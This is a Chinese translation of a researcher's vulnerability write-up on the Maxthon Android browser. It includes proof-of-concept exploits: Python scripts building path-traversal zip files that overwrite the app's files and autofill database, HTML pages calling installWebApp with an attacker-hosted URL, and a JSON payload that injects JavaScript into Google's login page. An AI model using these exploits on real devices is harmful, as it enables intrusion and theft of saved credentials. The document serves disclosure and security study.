原文:http://d3adend.org/blog/?p=851 , 本篇翻譯自原文前部分,本文有增改

原作者:Neil Bergman

譯:Holic (知道創宇404安全實驗室)

譯者測試環境:Maxthon 4.5.6,Android 5.1.1 / Android 4.2.2


Maxthon Browser(傲游瀏覽器) 又是一個當下比較流行的 Android 瀏覽器,未使用Android 的 stock 瀏覽器(AOSP)。我在 Android 版的瀏覽器中發現了一些有趣的甚至有些嚴重的漏洞,可能導致遠程代碼執行和信息泄漏。

漏洞要點:

  • 暴露的 JavaScript 接口導致任意文件寫入 - 惡意網頁可以強制瀏覽器下載zip文件,瀏覽器將其放在 SD 卡上,然后通過調用帶有 URL 參數的installWebApp方法解壓縮。由于缺少對 zip 文件所包含的文件名進行輸入驗證,攻擊者可以制作一個惡意的 zip 文件,造成路徑穿越來覆蓋瀏覽器沙盒中的任意文件。這個漏洞能被用來實現遠程代碼執行,相關內容我將在后面演示。

  • 登錄頁面暴露的 JavaScript 接口可以進行 UXSS 攻擊 - 惡意網頁可以通過調用 catchform 方法更改與其他域關聯的自動填充登錄頁面表單數據。使用一些動態構建的 JS 代碼,將自動登錄信息注入到登錄頁面,而且瀏覽器沒有正確輸出編碼數據,因此我們可以利用這一點開展登錄頁面的 UXSS 攻擊。

  • 暴露的 JavaScript 接口允許將 SQL 語句注入到客戶端的 SQLite 數據庫 - 設計為保存自動填充表單信息的代碼也易受 SQL 注入攻擊。它可能破壞客戶端數據庫或者遠程提取自動填充表中所有信息,包括保存的登錄憑據。雖然我能夠找到一些在 Android 應用程序中由 IPC 觸發的客戶端 SQL 注入漏洞的例子(例如來自Dominic Chell的此類漏洞),和一個由來自 Baidu X-Team WAP 推送觸發的客戶端 SQL 注入的例子。我目前找不到有關在 Android 平臺從 SQLite 遠程竊取數據的公開實例。因此,這可能是針對 Android 應用程序的遠程客戶端 SQL 注入的第一個公開實例,其中可以使用登錄頁面, UXSS exploit 作為外部通信技術將數據從 SQLite 數據庫中竊取出來。如果有其他有趣的例子,請 Ping 我。

JS 接口攻擊面

傲游瀏覽器使用 addJavascriptInterface 方法將多個 Java 對象注入到加載網頁的 Webview 中。在舊的設備(系統版本低于4.2)上,可以輕而易舉地遠程執行代碼,參照:gain RCE by abusing reflection(pix)。在新的設備上,我們必須探索與 JS 接口相關的每個暴露的方法,來尋找可能被利用的有趣功能。

這個應用程序的 JS 接口攻擊面很大,這使我們的工作變得更簡單或者更難,就取決于你如何看待這個問題了。請考慮以下真實情況:所有的 Java 方法都通過 傲游瀏覽器暴露給網頁中不受信任的 JS 代碼。

譯者注: 我們在逆向 Android 程序的時候,比如此例是瀏覽器應用,我們可以先在逆向工具中搜索一些敏感的方法/函數,像 jsCall這種會涉及到與 js 交互斷點方法,getContent 這種與文件內容有交互的方法等。

在 JEB 中,善用其強大的反編譯和搜索功能:

  • com.mx.jsobject.AppcenterLocalImpl
  • Methods: jsCall
  • com.mx.browser.navigation.reader.ca
  • Methods: getContent
  • com.mx.jsobject.JsObjAppcenter
  • Methods: jsCall
  • com.mx.jsobject.JsObjAutoFill
  • Methods: catchform, enableAutoFill, getLoginButtonSignatureCodes, getNonLoginButtonSignatureCodes, * getNonUsernameSignatureCodes, getTest, getUsernameSignatureCodes
  • com.mx.jsobject.JsObjGuestSignIn
  • Methods: getPostUrl, signin
  • com.mx.jsobject.JsObjMxBrowser
  • Methods: addLauncherShortcut, getAndroidId, getChannelId, getCountry, getDeviceId, getDeviceType, * getEncodedDeviceCloudId, getLanguage, getMxLang, getObjectName, getPlatformCode, getSysReleaseVersion, * getVersionCode, getVersionName, installWebApp, isAutoLoadImage, isSupportTimeLine, shareMsgToWXTimeLine, * shareToAll, shareToSinaWeibo, shareToSinaWeibo, shareToWXTimeLine, shareToWeChatTimeLine
  • com.mx.jsobject.JsObjNextPage
  • Methods: notifyFoundNextPage
  • com.mx.browser.readmode.JsObjReadDetect
  • Methods: notifyReadModeSuccess
  • com.mx.browser.readmode.JsObjReadNext
  • Methods: notifyReadModeFail, notifyReadModeSuccess
  • com.mx.jsobject.JsObjShareHelper
  • Methods: shareTo
  • com.mx.jsobject.JsTouchIconExtractor
  • Methods: onReceivedTouchIcons
  • com.mx.browser.readmode.ReadModeActivity$JsObjReadHtml
  • Methods: changeColorMode, getHtml, notifyFontSizeChanged, pageDown
  • com.mx.browser.navigation.reader. RssNewsReaderActivityJsObjRssReader
  • Methods: getAuthor, getContent, getObjectName, getSource, getTime, getTitle, loadImage, openImageBrowser
  • com.mx.browser.navigation.reader. RssNewsReaderActivityJsObjRssReader
  • Methods: getAuthor, getContent, getSouce, getTime, getTitle

尋找任意文件寫入漏洞

在反編譯代碼中查看了很多暴露的方法,我看到了一個叫 installWebApp 的方法。

    @JavascriptInterface public void installWebApp(String arg4) {
        String v0 = t.a(arg4);
        p.a(arg4, "/sdcard/webapp/" + v0, null);
        u.b("/sdcard/webapp/" + v0);
        d.b().a();
        Toast.makeText(this.mContext, "webapp installed", 1).show();
    }

然后我繼續審計由 installWebApp 方法調用的所有方法的反編譯代碼。

1) com.mx.c.t 的一個方法是將 URL 轉換為文件名。比如,如果你向該方法中提供 http://www.example.org/blah.zip,則它返回 blah.zip。 2) com.mx.browser.f.pa 方法使用 Apache HttpClient 下載所提供的 URL,然后使用所提供的文件名(/sdcard/webapp/[zip filename])保存該文件。 3) com.mx.c.ub 方法使用 ZipFileZipEntry解壓 SD 卡上的文件,相關類的代碼如下所示。注意 zip 沒有針對每條文件名的輸入驗證。

    public static void b(String arg8) {
        File v4;
        Object v0_2;
        try {
            File v0_1 = new File(arg8);
            String v1 = arg8.substring(0, arg8.length() - 4);
            new File(v1).mkdir();
            System.out.println(v1 + " created");
            ZipFile v2 = new ZipFile(v0_1);
            Enumeration v3 = v2.entries();
            do {
            label_20:
                if(!v3.hasMoreElements()) {
                    return;
                }

                v0_2 = v3.nextElement();
                v4 = new File(v1, ((ZipEntry)v0_2).getName());
                v4.getParentFile().mkdirs();
            }
            while(((ZipEntry)v0_2).isDirectory());

            System.out.println("Extracting " + v4);
            BufferedInputStream v5 = new BufferedInputStream(v2.getInputStream(((ZipEntry)v0_2)));
            byte[] v0_3 = new byte[1024];
            BufferedOutputStream v4_1 = new BufferedOutputStream(new FileOutputStream(v4), 1024);
            while(true) {
                int v6 = v5.read(v0_3, 0, 1024);
                if(v6 == -1) {
                    break;
                }

                v4_1.write(v0_3, 0, v6);
            }

            v4_1.flush();
            v4_1.close();
            v5.close();
            goto label_20;
        }
        catch(IOException v0) {
            System.out.println("IOError :" + v0);
        }
    }

這時,我停止了逆向這個方法,因為很明顯加載到瀏覽器中的惡意網頁可能會使應用程序下載并解壓放在攻擊者服務器上的 zip 文件。而且由于缺少對 zip 每條文件名的輸入驗證,我們可以穿越路徑來覆蓋瀏覽器可以訪問到的任意文件。

利用任意文件寫入漏洞第一部分 - 一個簡單的 PoC

首先,我們需要使用以下 Python 代碼構建惡意 zip 文件。 此處僅供參考,這里假設 /sdcard/ 已經軟鏈接至 /storage/emulated/legacy/ 目錄。最后 ,瀏覽器將 maxFileWriteTest.txt 寫入到 /storage/emulated/legacy/webapp/maxFileWriteTest9843/../../../data/data/com.mx.browser/maxFileWriteTest.txt 文件, 相當于/data/data/com.mx.browser/maxFileWriteTest.txt

import zipfile
import sys

if __name__ == "__main__":
    try:
        with open("maxFileWriteTest.txt", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("maxFileWriteTest9843.zip", "a", zipfile.ZIP_DEFLATED)
            info = zipfile.ZipInfo("maxFileWriteTest9843.zip")
            zipFile.writestr("../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt", binary)
            zipFile.close()
    except IOError as e:
        raise e

然后我們使用 unzip 命令列出歸檔文件,以驗證是否正確創建了 zip 文件。看起來效果不錯。

$ unzip -l maxFileWriteTest9843.zip
Archive:  maxFileWriteTest9843.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
        4  02-11-16 15:38   ../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt
 --------                   -------
        4                   1 file

Ok,現在構建的惡意頁面,強行讓瀏覽器使用 installWebApp方法下載并解壓了我們的文件。

<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteTest9843.zip");
</script>
</body>
</html>

當瀏覽器訪問惡意頁面時,“webapp” 會自動安裝。檢查 /data/data/com.mx.browser/files 目錄,顯然我們可以將任意文件寫入瀏覽器的應用程序目錄。對受害者來說,唯一可能會察覺的跡象是一個彈出狀態信息,告訴用戶 “webapp installed”。

—— 文件寫入 /data/data/com.mx.browser/files 路徑。

尋找登錄頁面的 UXSS 漏洞

構建這個漏洞頁面所需的就是將包含目標 URL,用戶名和密碼的 JSON payload 傳遞給 mxautofillcatchform 方法,如下面的 HTML 和 JavaScript 代碼所示。

<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginxsstest@gmail.com"},{"id":"password","name":"password","value":"fakepassword\'-alert(\'LoginUXSS:\'+document.domain)-\'"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>

當用戶訪問惡意頁面時,系統會提示用戶“save your account?”,并且用戶必須點擊 ”Yes“ ,瀏覽器才回保存自動填充信息。用戶授權時會把它當做當前域的自動填充信息,而不是在其他任何域下。

—— 受害者被提示”Save your account?“

下次受害者訪問 Google 登錄頁面時,瀏覽器通過 com.mx.browser.a.e 類中的 WebView 的 loadUrl 方法將以下 JavaScript 插入到頁面中。

javascript:mx_form_fill('loginxsstest@gmail.com' , 'fakepassword'-alert('LoginUXSS:'+document.domain)-'')

然后在 accounts.goolge.com 的頁面會顯示彈出窗口信息。

—— 我們的 JavaScript 在 Google 的登錄頁面得以執行

任意文件寫入二 —— 覆蓋數據庫以便不需要用戶交互即可觸發 UXSS

通常利用登錄頁面進行 UXSS 需要一些用戶交互,因為受害者需要對”save your account?“ 提示彈窗點擊 ”Yes“,但是鑒于存在任意文件寫入漏洞,我們可以配合漏洞在沒有用戶交互的情況下施展攻擊鏈,參考以下步驟。

1) 創建包含多個主流域名的自動填充信息的 SQLite 數據庫(mxbrowser_default.db)。同樣地,我們將在用戶名字段注入我們的 JavaScript 代碼。

2) 創建一個 zip 文件,利用目錄穿越來覆蓋瀏覽器的 SQLite 數據庫(mxbrowser_default.db)。

3)欺騙受害者瀏覽器瀏覽到能夠觸發 installWebApp 方法的惡意頁面,這會讓受害者的瀏覽器自動下載并解壓縮我們的 zip 文件。此時,受害者的 SQLite 數據庫將替換為我們制作的數據庫。

4) 下一次受害者訪問其中一個域名的登錄頁面時,我們的 JavaScript 代碼將會注入到頁面中。

我僅從我的設備(/data/data/com.mx.browser/databases/mxbrowser_default.db)中提取出相關的 SQLite 數據庫,并使用 SQLite 客戶端修改了 mxautofill 表。

-- 在多個域名的用戶名字段中包含了 XSS payload 惡意 SQLite 數據庫

我們可以使用以下 Python 代碼來構建 zip 文件,

import zipfile
import sys

if __name__ == "__main__":
    try:
        with open("mxbrowser_default.db", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("maxFileWriteToLoginUXSS6324.zip", "a", zipfile.ZIP_DEFLATED)
            zipFile.writestr("../../../../../data/data/com.mx.browser/databases/mxbrowser_default.db", binary)
            zipFile.close()
    except IOError as e:
        raise e

然后我們制作調用了 installWebApp 方法的 HTML 頁面。

<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToLoginUXSS6324.zip");
</script>
</body>
</html>

此時如果受害者使用傲游瀏覽器訪問惡意頁面,那么他們的本地 SQLite 數據庫將被我們制作的數據庫覆蓋,當當受害者訪問 Yahoo ,Twitter 或者 Google 登錄頁面時,我們的 JavaScript 代碼將執行。

—— 受害者訪問惡意網頁,并自動安裝”webapp“。此時受害者的本地數據庫已被覆蓋。

—— 我們的 JavaScript 代碼在 Google 的登錄頁面再一次執行。

未完,下篇見:http://www.bjnorthway.com/109/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/108/